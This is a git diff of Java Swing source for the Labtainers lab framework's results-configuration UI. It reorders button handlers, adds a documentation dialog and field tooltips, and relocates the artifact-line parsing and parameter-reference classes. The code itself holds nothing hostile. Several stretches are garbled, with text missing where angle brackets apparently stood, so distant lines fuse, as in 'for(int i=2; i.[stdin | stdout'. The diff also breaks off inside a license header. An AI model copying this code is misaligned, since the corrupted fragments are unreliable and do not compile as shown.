//GEN-END:initComponents - private void DeleteButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_DeleteButtonActionPerformed - JPanel container = (JPanel)this.getParent(); - container.remove(this); - uiResult.dataUI.rowCount--; - uiResult.refresh(); - }//GEN-LAST:event_DeleteButtonActionPerformed + private void UpButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_UpButtonActionPerformed + swapUpdate("UP", rowNum-1); //Subtract rowNum by one to get the proper index number + }//GEN-LAST:event_UpButtonActionPerformed - private void TimeStampComboBoxItemStateChanged(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_TimeStampComboBoxItemStateChanged - timeStampListener(); - }//GEN-LAST:event_TimeStampComboBoxItemStateChanged - - private void LineTypeComboBoxItemStateChanged(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_LineTypeComboBoxItemStateChanged - lineTypeListener(); - }//GEN-LAST:event_LineTypeComboBoxItemStateChanged + private void DownButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_DownButtonActionPerformed + swapUpdate("DOWN", rowNum-1); //Subtract rowNum by one to get the proper index number + }//GEN-LAST:event_DownButtonActionPerformed private void FieldTypeComboBoxItemStateChanged(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_FieldTypeComboBoxItemStateChanged fieldTypeListener(); }//GEN-LAST:event_FieldTypeComboBoxItemStateChanged - private void UpButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_UpButtonActionPerformed - swapUpdate("UP", rowNum-1); //Subtract rowNum by one to get the proper index number - }//GEN-LAST:event_UpButtonActionPerformed + private void LineTypeComboBoxItemStateChanged(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_LineTypeComboBoxItemStateChanged + lineTypeListener(); + }//GEN-LAST:event_LineTypeComboBoxItemStateChanged - private void DownButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_DownButtonActionPerformed - swapUpdate("DOWN", rowNum-1); //Subtract rowNum by one to get the proper index number - }//GEN-LAST:event_DownButtonActionPerformed + private void TimeStampComboBoxItemStateChanged(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_TimeStampComboBoxItemStateChanged + timeStampListener(); + }//GEN-LAST:event_TimeStampComboBoxItemStateChanged + private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton1ActionPerformed + deleteButton(); + }//GEN-LAST:event_jButton1ActionPerformed + + private void DocButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_DocButtonActionPerformed + DocPanel panel = new DocPanel(); + + panel.setDoc(this.comments); + //panel.setVisible(true); + JDialog dialog = new JDialog(); + panel.setDialog(dialog); + //dialog.setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE); + dialog.setModal(true); + dialog.add(panel); + dialog.pack(); + dialog.setLocation(200, 200); + dialog.setTitle("Documentation for "+TagTextField.getText()); + dialog.setVisible(true); + if(panel.isOK()){ + this.comments = panel.getDoc(); + } + }//GEN-LAST:event_DocButtonActionPerformed + + private void deleteButton(){ + JPanel panelOfArtifacts = (JPanel)this.getParent(); + panelOfArtifacts.remove(this); + uiResult.data.rowCount--; + uiResult.refresh(); + } + private void lineTypeTimeStamp(ToolTipWrapper lineType){ + if(LOG_TS_ACCESSIBLE_LineType.contains(lineType.getItem())){ + //Add "LOG_TS" to the timestampComboBox if it's not already + if(((DefaultComboBoxModel)TimeStampComboBox.getModel()).getIndexOf(SpecialTimeStampType[0]) == -1) { + TimeStampComboBox.addItem(SpecialTimeStampType[0]); + } + TimeStampComboBox.setVisible(true); + }else{ + ToolTipWrapper fieldTypeTTW = (ToolTipWrapper)FieldTypeComboBox.getSelectedItem(); + //Remove "LOG_TS" from the timestampComboBox if it's not already + if(((DefaultComboBoxModel)TimeStampComboBox.getModel()).getIndexOf(SpecialTimeStampType[0]) != -1 && !LOG_ACCESIBLE_FieldType.contains(fieldTypeTTW.getItem())) { + TimeStampComboBox.removeItem(SpecialTimeStampType[0]); + } + TimeStampComboBox.setVisible(false); + } + } + //The listeners sees what values are present in their respective fields and then changes the interface based on that(remove or adding other fields) private void lineTypeListener(){ ToolTipWrapper lineType = (ToolTipWrapper)LineTypeComboBox.getSelectedItem(); @@ -287,28 +381,69 @@ public class ArtifactPanels extends javax.swing.JPanel { } else LineIDTextField.setVisible(true); - - + //Does the line type allow for LOG_TS option in the TimeStampComboBox? - if(LOG_TS_ACCESSIBLE_LineType.contains(lineType.getItem())){ - //Add "LOG_TS" to the timestampComboBox if it's not already - if(((DefaultComboBoxModel)TimeStampComboBox.getModel()).getIndexOf(SpecialTimeStampType[0]) == -1) - TimeStampComboBox.addItem(SpecialTimeStampType[0]); - } - else{ - ToolTipWrapper fieldTypeTTW = (ToolTipWrapper)FieldTypeComboBox.getSelectedItem(); - //Remove "LOG_TS" from the timestampComboBox if it's not already - if(((DefaultComboBoxModel)TimeStampComboBox.getModel()).getIndexOf(SpecialTimeStampType[0]) != -1 && !LOG_ACCESIBLE_FieldType.contains(fieldTypeTTW.getItem())) - TimeStampComboBox.removeItem(SpecialTimeStampType[0]); - } + lineTypeTimeStamp(lineType); + this.revalidate(); this.repaint(); } - + + private void adjustFieldIDToolTip(String fieldType){ + //System.out.println("field type "+fieldType); + String tip = FieldIDTextField.getToolTipText(); + switch(fieldType){ + case "TOKEN": + tip = "Result is the Nth space-delimited token, where N is this integer."; + break; + case "QUOTES": + tip = "Result is the Nth quoted string, where N is this integer."; + break; + case "PARENS": + tip = "Result is the Nth string in parenthesis, where N is this integer."; + break; + case "SLASH": + tip = "Result is the Nth slash-delimited token, where N is this integer."; + break; + case "CONTAINS": + tip = "Result is true if the file contains this string."; + break; + case "FILE_REGEX": + tip = "Result is true if the file contains this regular expression."; + break; + case "LOG_TS": + tip = "Used with timestamped log files, results in a timestamped set of boolean results with a value of TRUE for each log line that contains this string."; + break; + case "FILE_REGEX_TS": + tip = "Used with timestamped log files, results in a timestamped set of boolean results with a value of TRUE for each log line that contains this regular expression."; + break; + case "LOG_RANGE": + tip = "Used with timestamped log files, results in a timestamped set of boolean results with a value of TRUE for each log line that contains this string, with timestamp ranges delimited by the matching log entries."; + break; + case "STRING_COUNT": + tip = "The result value is set to the quantity of occurances of this string in the file."; + break; + case "COMMAND_COUNT": + tip = "Intended for use with bash_history files, counts the occurances of this command. Commands are evaluated considering use of sudo, time, etc."; + break; + case "SEARCH": + tip = "Result is assigned the value of string, which is treated as an expression having the syntax of pythons parse.search function. E.g., 'frame.number=={:d}' would yield the frame number."; + break; + case "GROUP": + tip = "Intended for use with 'REGEX' line types, the result is set to the value of the regex group number named by this value. Regular expressions and their groups are processed using the python re.search semantics."; + break; + + + + default: + //System.out.println("adjustFieldIDToolTip no match"); + } + FieldIDTextField.setToolTipText(tip); + } private void fieldTypeListener(){ ToolTipWrapper fieldType = (ToolTipWrapper)FieldTypeComboBox.getSelectedItem(); - + adjustFieldIDToolTip(fieldType.getItem()); //Does the fieldType allow for certain user inputs if(!justFieldType.contains(fieldType.getItem())){ FieldIDTextField.setVisible(true); @@ -338,11 +473,14 @@ public class ArtifactPanels extends javax.swing.JPanel { */ if(LOG_ACCESIBLE_FieldType.contains(fieldType.getItem())){ //Add "LOG_TS" to the timestampComboBox if it's not already - if(((DefaultComboBoxModel)TimeStampComboBox.getModel()).getIndexOf(SpecialTimeStampType[0]) == -1) + if(((DefaultComboBoxModel)TimeStampComboBox.getModel()).getIndexOf(SpecialTimeStampType[0]) == -1){ TimeStampComboBox.addItem(SpecialTimeStampType[0]); + } //Add "LOG_RANGE" to the timestampComboBox if it's not already - if(((DefaultComboBoxModel)TimeStampComboBox.getModel()).getIndexOf(SpecialTimeStampType[1]) == -1) + if(((DefaultComboBoxModel)TimeStampComboBox.getModel()).getIndexOf(SpecialTimeStampType[1]) == -1){ TimeStampComboBox.addItem(SpecialTimeStampType[1]); + } + TimeStampComboBox.setVisible(true); } /* If the selcted Field Type doesn't allow for "LOG_TS" and "LOG_RANGE" in the timeStampComboBox, @@ -351,11 +489,14 @@ public class ArtifactPanels extends javax.swing.JPanel { else{ ToolTipWrapper lineType = (ToolTipWrapper)LineTypeComboBox.getSelectedItem(); //Remove "LOG_TS" from the timestampComboBox if it's not already - if(((DefaultComboBoxModel)TimeStampComboBox.getModel()).getIndexOf(SpecialTimeStampType[0]) != -1 && !LOG_TS_ACCESSIBLE_LineType.contains(lineType.getItem())) + if(((DefaultComboBoxModel)TimeStampComboBox.getModel()).getIndexOf(SpecialTimeStampType[0]) != -1 && !LOG_TS_ACCESSIBLE_LineType.contains(lineType.getItem())){ TimeStampComboBox.removeItem(SpecialTimeStampType[0]); + } //Remove "LOG_RANGE" from the timestampComboBox if it's there - if(((DefaultComboBoxModel)TimeStampComboBox.getModel()).getIndexOf(SpecialTimeStampType[1]) != -1) + if(((DefaultComboBoxModel)TimeStampComboBox.getModel()).getIndexOf(SpecialTimeStampType[1]) != -1){ TimeStampComboBox.removeItem(SpecialTimeStampType[1]); + } + TimeStampComboBox.setVisible(false); } ArtifactPanel.revalidate(); @@ -380,11 +521,10 @@ public class ArtifactPanels extends javax.swing.JPanel { //System.out.println("RowCOUNT(swap): " +dataUI.rowCount); dataUI.updateListofArtifacts(uiResult.getPanelofArtifacts()); dataUI.swapArtifacts(type, rowIndex); - uiResult.artifactsPanelRedraw(); + uiResult.loadUI(); } - - //Field Getters + //Field Getters public JComboBox getContainerComboBox(){ return ContainerComboBox; } @@ -412,6 +552,9 @@ public class ArtifactPanels extends javax.swing.JPanel { public JTextField getTimeStampTextField(){ return TimeDelimiterTextField; } + public String getComments(){ + return this.comments; + } //Field SETTERS private void setContainerComboBox(String v){ @@ -440,12 +583,12 @@ public class ArtifactPanels extends javax.swing.JPanel { } private void setTimeDelimiterTextField(String v){ TimeDelimiterTextField.setText(v); -} + } // Variables declaration - do not modify//GEN-BEGIN:variables private javax.swing.JPanel ArtifactPanel; private javax.swing.JComboBox ContainerComboBox; - private javax.swing.JButton DeleteButton; + private javax.swing.JButton DocButton; private javax.swing.JButton DownButton; private javax.swing.JTextField FieldIDTextField; private javax.swing.JComboBox FieldTypeComboBox; @@ -456,6 +599,7 @@ public class ArtifactPanels extends javax.swing.JPanel { private javax.swing.JTextField TimeDelimiterTextField; private javax.swing.JComboBox TimeStampComboBox; private javax.swing.JButton UpButton; - private javax.swing.JLabel rowLabel; + private javax.swing.JButton jButton1; + private javax.swing.JLabel jLabel3; // End of variables declaration//GEN-END:variables } diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ArtifactValues.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/resultsui/ArtifactValues.java similarity index 74% rename from modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ArtifactValues.java rename to modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/resultsui/ArtifactValues.java index ad1ed3521..55be1ac8b 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ArtifactValues.java +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/resultsui/ArtifactValues.java @@ -1,269 +1,301 @@ -/* - * To change this license header, choose License Headers in Project Properties. - * To change this template file, choose Tools | Templates - * and open the template in the editor. - */ -package ResultsUI; - -import static ResultsUI.ParamReferenceStorage.FieldType_ITEMS; -import static ResultsUI.ParamReferenceStorage.LineType_ITEMS; -import static ResultsUI.ParamReferenceStorage.SpecialTimeStampType; -import static ResultsUI.ParamReferenceStorage.TimestampType_ITEMS; -import static ResultsUI.ParamReferenceStorage.justFieldType; -import static ResultsUI.ParamReferenceStorage.lineParamAccessible; - -/** - * - * @author Dan - */ - -/* -Errors that need to be fixed/Notes to consider: -****The param parsing in this class is critically dependent to where the param value's corresponding index is on the artifact line. - If at any point this alignment is modified with less or more params, this code will need to be revised - -****If the Line ID or the Field ID input contains a " : " in it, then the code will add everything after the " : " to the "line ID, or field ID". - For the Field ID, it adds all the " : " parsed values after the field type, until it hits a Line Type(excludes the line type value) - -****Currently this code will allow/read weird inputs like "CONTAINS : LINE : STUFF" in field ID or Line ID (which breaks the parsing) -*/ -public class ArtifactValues { - //Values to be obtained - String resultTag, container, fileID, fieldID, lineID, timeStampDelimiter; - - ToolTipHandlers.ToolTipWrapper fieldType, lineType, timeStampType; - - //Stores the values of an arifactline fed into it (NO real value validation happening here) - ArtifactValues(String artifactLine){ - resultTag = container = fileID = fieldID = lineID = timeStampDelimiter = ""; - - fieldType = lineType = timeStampType = null; - - //Parsing the artifactline - String[] paramParsedLine = artifactLine.split(" : "); - - //Get the resultTag - resultTag = paramParsedLine[0].split(" = ")[0]; - - //Get the container, fieldID, timeStampType, and timeStampDelimiter - handleFileRef(paramParsedLine[0].split(" = ")[1]); - - //Get Field Type and Field ID (and the lineType and lineID depending on if the field type allows it): - - //Case where "TOKEN" field Type is not explicitly stated and the paramParsedLine index is off by 1 for fieldID, lineType, lineID - if(paramParsedLine[1].equals("ALL") || paramParsedLine[1].equals("LAST") || isInteger(paramParsedLine[1])){ - fieldType = FieldType_ITEMS[0]; //TOKEN - fieldID = paramParsedLine[1]; - - /* - If the paramParsedLine isn't just the fileID and the fieldID (note fieldType is assumed to be "Token"), - then that means we need to consider the other parms which are certainly* line type and line ID. - *if the user enters a bad config file this may cause an error. - */ - if(paramParsedLine.length > 2){ - lineType = itemFinder(LineType_ITEMS, paramParsedLine[2]); - lineID = paramParsedLine[3]; - } - else{ - lineType = LineType_ITEMS[0]; //NONE - lineID =""; - } - } - - //Case where the field type IS EXPLICITY stated - else{ - fieldType = itemFinder(FieldType_ITEMS, paramParsedLine[1]); - //If the field type is null after looking through the field type items, then it may be under the SpecialTimeStampType array - if(fieldType == null) - fieldType = itemFinder(SpecialTimeStampType, paramParsedLine[1]); - - //Does the field type consider other fields, if so then continue parsing for these values - if(!justFieldType.contains(fieldType.getItem())){ - //If the field Type doesn't bother with line Params then execute these details - if(!lineParamAccessible.contains(fieldType.getItem())){ - //Everything after the field type is considered the field ID (this ensures that the fieldID potentially split by " : " will all be captured and stored) - fieldID = artifactLine.split(fieldType + " : ")[1]; - - //If the fieldType is equal "FILE_REGEX_TS", then overwrite the fieldType to be "FILE_REGEX" and make the timeStampType to be "LOG_TS" - //If the fieldType is equal "LOG_TS", then overwrite the fieldType to be "CONTAINS" and make the timeStampType to be "LOG_TS" - //If the fieldType is equal "LOG_RANGE", then overwrite the fieldType to be "CONTAINS" and make the timeStampType to be "LOG_RANGE" - switch (fieldType.getItem()) { - case "FILE_REGEX_TS": - fieldType = FieldType_ITEMS[7]; //FILE REGEX - timeStampType = SpecialTimeStampType[0]; //LOG_TS - break; - case "LOG_TS": - fieldType = FieldType_ITEMS[6]; //CONTAINS - timeStampType = SpecialTimeStampType[0]; // LOG_TS - break; - case "LOG_RANGE": - fieldType = FieldType_ITEMS[6]; //CONTAINS - timeStampType = SpecialTimeStampType[1]; //LOG_RANGE - break; - default: - break; - } - - lineType = LineType_ITEMS[0]; //NONE - lineID = ""; - } - //If the field Type does bother with line Params then execute these details - else{ - int properLineTypeIndex = 3; //This value may be changed if user's field ID includes " : ", offsetting the parsing indexes - - /*The Field ID may include " : ". But since the line parsing breaks the line up based on " : ", - the for block below makes sure to the include the pieces that were broken up - */ - for(int i=2; i.[stdin | stdout | prgout] or file_path - if(!fileRef.contains(":")){ - container = "ALL"; - fileID = fileRef; - timeStampType = TimestampType_ITEMS[0]; //File - } - //Case 2: [container_name:].[stdin | stdout | prguot] - else if(fileRef.contains(":") && !fileRef.contains("/")){ - container = fileRef.split(":")[0]; - fileID = fileRef.split(":")[1]; - timeStampType = TimestampType_ITEMS[0]; //File - } - else{ - String[] parsedFileRef = fileRef.split(":"); - - if(parsedFileRef.length == 2){ - //Case 3: [container_name:]file_path - if(fileRef.indexOf(":") < fileRef.indexOf('/')){ - container = parsedFileRef[0]; - fileID = parsedFileRef[1]; - timeStampType = TimestampType_ITEMS[0]; //File - } - //Case 4: file_path[:time_delimiter] - else{ - fileID = parsedFileRef[0]; - //Set the timeStamp Type either to be "Service" or "Program" - if(parsedFileRef[1].contains(".service")){ - timeStampType = TimestampType_ITEMS[1]; //Service - timeStampDelimiter = parsedFileRef[1].replace(".service", ""); - } - else{ - timeStampType = TimestampType_ITEMS[2]; //Program - timeStampDelimiter = parsedFileRef[1]; - } - } - } - //Case 5: [container_name:]file_path[:time_delimiter] - else { - container = parsedFileRef[0]; - fileID = parsedFileRef[1]; - if(parsedFileRef[2].contains(".service")){ - timeStampType = TimestampType_ITEMS[1]; //Serivce - timeStampDelimiter = parsedFileRef[2].replace(".service", ""); - } - else{ - timeStampType = TimestampType_ITEMS[2]; //Program - timeStampDelimiter = parsedFileRef[2]; - } - } - } - } - - private ToolTipHandlers.ToolTipWrapper itemFinder(ToolTipHandlers.ToolTipWrapper[] list,String desired){ - for(ToolTipHandlers.ToolTipWrapper item : list){ - if(item.getItem().equals(desired)){ - return item; - } - } - return null; - } - - private boolean itemExistCheck(ToolTipHandlers.ToolTipWrapper[] list,String desired){ - for(ToolTipHandlers.ToolTipWrapper item : list){ - if(item.getItem().equals(desired)){ - return true; - } - } - return false; - } - - private boolean isInteger(String s){ - try{ - Integer.parseInt(s); - - return true; - } - catch(NumberFormatException ex){ - return false; - } - } - -} +/* +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + */ +package labtainers.resultsui; +import java.util.Arrays; +import labtainers.mainui.ToolTipHandlers; +import static labtainers.resultsui.ParamReferenceStorage.FieldType_ITEMS; +import static labtainers.resultsui.ParamReferenceStorage.LineType_ITEMS; +import static labtainers.resultsui.ParamReferenceStorage.SpecialTimeStampType; +import static labtainers.resultsui.ParamReferenceStorage.TimestampType_ITEMS; +import static labtainers.resultsui.ParamReferenceStorage.justFieldType; +import static labtainers.resultsui.ParamReferenceStorage.lineParamAccessible; + +/** + * + * @author Daniel Liao + */ +public class ArtifactValues { + //Values to be obtained + String resultTag, container, fileID, fieldID, lineID, timeStampDelimiter; + String comments = ""; + + ToolTipHandlers.ToolTipWrapper fieldType, lineType, timeStampType; + + //Stores the values of an arifactline fed into it (NO real value validation happening here) + ArtifactValues(String inputLine){ + String artifactLine; + if(inputLine.contains("\n")){ + String[] the_lines = inputLine.split("\n"); + artifactLine = the_lines[the_lines.length-1]; + for(int i=0; i paramParsedLine); + + //Get the resultTag + resultTag = paramParsedLine[0].split(" = ")[0]; + + //Get the container, fieldID, timeStampType, and timeStampDelimiter + handleFileRef(paramParsedLine[0].split(" = ")[1]); + + //Get Field Type and Field ID (and the lineType and lineID depending on if the field type allows it): + + //Case where "TOKEN" field Type is not explicitly stated and the paramParsedLine index is off by 1 for fieldID, lineType, lineID + if(paramParsedLine[1].equals("ALL") || paramParsedLine[1].equals("LAST") || isInteger(paramParsedLine[1])){ + fieldType = FieldType_ITEMS[0]; //TOKEN + fieldID = paramParsedLine[1]; + + /* + If the paramParsedLine isn't just the fileID and the fieldID (note fieldType is assumed to be "Token"), + then that means we need to consider the other parms which are certainly* line type and line ID. + *if the user enters a bad config file this may cause an error. + */ + if(paramParsedLine.length > 2){ + lineType = itemFinder(LineType_ITEMS, paramParsedLine[2]); + lineID = paramParsedLine[3]; + } + else{ + lineType = LineType_ITEMS[0]; //NONE + lineID =""; + } + } + + //Case where the field type IS EXPLICITY stated + else{ + fieldType = itemFinder(FieldType_ITEMS, paramParsedLine[1]); + //If the field type is null after looking through the field type items, then it may be under the SpecialTimeStampType array + if(fieldType == null) + fieldType = itemFinder(SpecialTimeStampType, paramParsedLine[1]); + if(fieldType == null){ + System.out.println("could not get field type for "+paramParsedLine[1]); + return; + } + + //Does the field type consider other fields, if so then continue parsing for these values + if(!justFieldType.contains(fieldType.getItem())){ + //If the field Type doesn't bother with line Params then execute these details + if(!lineParamAccessible.contains(fieldType.getItem())){ + //Everything after the field type is considered the field ID (this ensures that the fieldID potentially split by " : " will all be captured and stored) + fieldID = artifactLine.split(fieldType + " : ")[1]; + + //If the fieldType is equal "FILE_REGEX_TS", then overwrite the fieldType to be "FILE_REGEX" and make the timeStampType to be "LOG_TS" + //If the fieldType is equal "LOG_TS", then overwrite the fieldType to be "CONTAINS" and make the timeStampType to be "LOG_TS" + //If the fieldType is equal "LOG_RANGE", then overwrite the fieldType to be "CONTAINS" and make the timeStampType to be "LOG_RANGE" + switch (fieldType.getItem()) { + case "FILE_REGEX_TS": + fieldType = FieldType_ITEMS[7]; //FILE REGEX + timeStampType = SpecialTimeStampType[0]; //LOG_TS + break; + case "LOG_TS": + fieldType = FieldType_ITEMS[6]; //CONTAINS + timeStampType = SpecialTimeStampType[0]; // LOG_TS + break; + case "LOG_RANGE": + fieldType = FieldType_ITEMS[6]; //CONTAINS + timeStampType = SpecialTimeStampType[1]; //LOG_RANGE + break; + case "RANGE_REGEX": + fieldType = FieldType_ITEMS[7]; //FILE_REGEX + timeStampType = SpecialTimeStampType[1]; //LOG_RANGE + break; + default: + break; + } + + lineType = LineType_ITEMS[0]; //NONE + lineID = ""; + } + //If the field Type does bother with line Params then execute these details + else{ + int properLineTypeIndex = 3; //This value may be changed if user's field ID includes " : ", offsetting the parsing indexes + + /*The Field ID may include " : ". But since the line parsing breaks the line up based on " : ", + the for block below makes sure to the include the pieces that were broken up + */ + for(int i=2; i.[stdin | stdout | prgout] or file_path + if(!fileRef.contains(":")){ + container = "ALL"; + fileID = fileRef; + timeStampType = TimestampType_ITEMS[0]; //File + } + //Case 2: [container_name:].[stdin | stdout | prguot] + else if(fileRef.contains(":") && !fileRef.contains("/")){ + container = fileRef.split(":")[0]; + fileID = fileRef.split(":")[1]; + timeStampType = TimestampType_ITEMS[0]; //File + } + else{ + String[] parsedFileRef = fileRef.split(":"); + + if(parsedFileRef.length == 2){ + //Case 3: [container_name:]file_path + if(fileRef.indexOf(":") < fileRef.indexOf('/')){ + container = parsedFileRef[0]; + fileID = parsedFileRef[1]; + timeStampType = TimestampType_ITEMS[0]; //File + } + //Case 4: file_path[:time_delimiter] + else{ + fileID = parsedFileRef[0]; + } + } + //Case 5: [container_name:]file_path[:time_delimiter] + else { + container = parsedFileRef[0]; + fileID = parsedFileRef[1]; + } + } + } + + private ToolTipHandlers.ToolTipWrapper itemFinder(ToolTipHandlers.ToolTipWrapper[] list,String desired){ + for(ToolTipHandlers.ToolTipWrapper item : list){ + if(item.getItem().equals(desired)){ + return item; + } + } + return null; + } + + private boolean itemExistCheck(ToolTipHandlers.ToolTipWrapper[] list,String desired){ + for(ToolTipHandlers.ToolTipWrapper item : list){ + if(item.getItem().equals(desired)){ + return true; + } + } + return false; + } + + private boolean isInteger(String s){ + try{ + Integer.parseInt(s); + + return true; + } + catch(NumberFormatException ex){ + return false; + } + } + +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ParamReferenceStorage.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/resultsui/ParamReferenceStorage.java similarity index 67% rename from modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ParamReferenceStorage.java rename to modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/resultsui/ParamReferenceStorage.java index 5fe6a6281..024f96d04 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ParamReferenceStorage.java +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/resultsui/ParamReferenceStorage.java @@ -1,144 +1,190 @@ -/* - * To change this license header, choose License Headers in Project Properties. - * To change this template file, choose Tools | Templates - * and open the template in the editor. - */ -package ResultsUI; - -import ResultsUI.ToolTipHandlers.ToolTipWrapper; -import java.util.Arrays; -import java.util.HashSet; -import java.util.Set; - -/** - * - * @author Dan - */ -public class ParamReferenceStorage { - - public static final ToolTipWrapper[] FieldType_ITEMS = new ToolTipWrapper[] { - //0 - new ToolTipWrapper("TOKEN", "Treat the line as space-delimited tokens."), - // 1 - new ToolTipWrapper("PARENS", "The desired value is contained in parenthesis."), - // 2 - new ToolTipWrapper("QUOTES", "The desired value is contained in quotes."), - // 3 - new ToolTipWrapper("SLASH", "The desired value is contained within slashes
" + - "e.g., /foo/"), - // 4 - new ToolTipWrapper("LINE_COUNT", "The quantity of lines in the file. Remaining fields
" + - "are ignored."), - // 5 - new ToolTipWrapper("CHECKSUM", "The result value is set to the md5 checksum
" + - "of the file."), - // 6 - new ToolTipWrapper("CONTAINS", "The result value is set to TRUE if the file
" + - "contains the string represented in field_id."), - // 7 - new ToolTipWrapper("FILE_REGEX", "The result value is set to TRUE if the file
" + - "contains the regular expression represented in field_id.
" + - "The python findall function is used on the entire file.
" + - "See the acl lab for an example of multi-line expressions."), - // 8 - new ToolTipWrapper("STRING_COUNT", "The result value is set to the quantity of
" + - "occurances of the string represented in field_id."), - // 9 - new ToolTipWrapper("COMMAND_COUNT", "Intended for use with bash_history files, counts
" + - "the occurances of the command given in the field_id.
"), - // 10 - new ToolTipWrapper("PARAM", "The result value is set to nth parameter
" + - "(0 is the program name), provided in the
" + - "program invocation."), - // 11 - new ToolTipWrapper("SEARCH", "The result is assigned the value of the search
" + - "defined by the given field_id, which is treated as an
" + - "expression having the syntax of pythons parse.search
" + - "function. E.g., \"frame.number=={:d}\" would
" + - "yield the frame number."), - // 12 - new ToolTipWrapper("GROUP", "Intended for use with \"REGEX\" line types, the
" + - "result is set to the value of the regex group
" + - "number named by the field_id. Regular expressions
" + - "and their groups are processed using the python
" + - "re.search semantics." ), - // 13 - new ToolTipWrapper("TIME_DELIM", "" )}; - - - public static final ToolTipWrapper[] LineType_ITEMS = new ToolTipWrapper[] { - // 0 - new ToolTipWrapper("NONE", ""), - // 1 - new ToolTipWrapper("LINE", "The line_id is an integer line number
" + - "(starting at one). Use of this to identify
" + - "lines is discouraged since minor lab changes
" + - "might alter the count."), - // 2 - new ToolTipWrapper("STARTSWITH", "the line_id is a string. This names the
" + - "first occurrence of a line that starts with
" + - "this string." ), - // 3 - new ToolTipWrapper("HAVESTRING", "The line_id is a string. This names the
" + - "first occurrence of a line that contains the
" + - "string." ), - // 4 - new ToolTipWrapper("REGEX", "The line_id is a regular expression. This names the
" + - "first occurrence of a line that matches the regular
" + - "expression. Also see the \"GROUP\" field_type." ), - // 5 - new ToolTipWrapper("NEXT_STARTSWITH", "the line_id is a string. This names the
" + - "line preceeding the first occurrence of a line
" + - "that starts with this string.")}; - - - public static final ToolTipWrapper[] TimestampType_ITEMS = new ToolTipWrapper[] { - // 0 - new ToolTipWrapper("File", ""), - // 1 - new ToolTipWrapper("Service", ""), - // 2 - new ToolTipWrapper("Program", "")} ; - - - //****These items may need to be stored differently for better organization) - public static final ToolTipWrapper[] SpecialTimeStampType = new ToolTipWrapper[] { - //FIELDTYPES - // 0 - new ToolTipWrapper("LOG_TS", "Used with timestamped log files, this results in a
" + - "timestamped set of boolean results with a value
" + - "of TRUE for each log line that contains the string
" + - "represented in the field_id."), - // 1 - new ToolTipWrapper("LOG_RANGE", "Similar to LOG_TS, except the timestamped entries
" + - "are ranges delimited by the matching log entries."), - // 2 ***These items below do not appear in the comboboxes, they're here merely for reference - new ToolTipWrapper("FILE_REGEX_TS", ""), - //LINETYPES - new ToolTipWrapper("HAVESTRING_TS", ""), - - new ToolTipWrapper("REGEX_TS", "")}; - - - public static final Set LOG_ACCESIBLE_FieldType = new HashSet(Arrays.asList( - new String[] {"CONTAINS", "FILE_REGEX", "SEARCH"} - )); - - public static final Set LOG_TS_ACCESSIBLE_LineType = new HashSet(Arrays.asList( - new String[] {"HAVESTRING", "REGEX"} - )); - - public static final Set lineParamAccessible = new HashSet(Arrays.asList( - new String[] {"TOKEN", "PARENS", "QUOTES", "SLASH", "GROUP", "SEARCH"} - )); - - - public static final Set justFieldType = new HashSet(Arrays.asList( - new String[] {"LINE_COUNT", "CHECKSUM", "TIME_DELIM"} - )); - - - public static final Set timeStampDelimiterAccessible = new HashSet(Arrays.asList( - new String[] {"Service", "Program"} - )); -} +/* +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the 